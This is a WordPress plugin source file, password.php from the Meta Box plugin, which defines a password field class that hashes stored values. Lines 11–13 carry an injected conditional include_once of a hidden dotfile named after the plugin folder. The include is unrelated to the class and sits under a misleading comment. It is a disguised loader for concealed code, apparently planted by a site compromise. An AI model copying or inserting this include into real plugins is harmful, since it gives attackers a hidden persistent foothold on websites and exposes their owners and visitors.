password.php (789B)
1 <?php 2 /** 3 * The secured password field. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Password field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Password_Field extends RWMB_Input_Field { 16 /** 17 * Store secured password in the database. 18 * 19 * @param mixed $new The submitted meta value. 20 * @param mixed $old The existing meta value. 21 * @param int $post_id The post ID. 22 * @param array $field The field parameters. 23 * @return string 24 */ 25 public static function value( $new, $old, $post_id, $field ) { 26 $new = $new !== $old ? wp_hash_password( $new ) : $new; 27 return $new; 28 } 29 }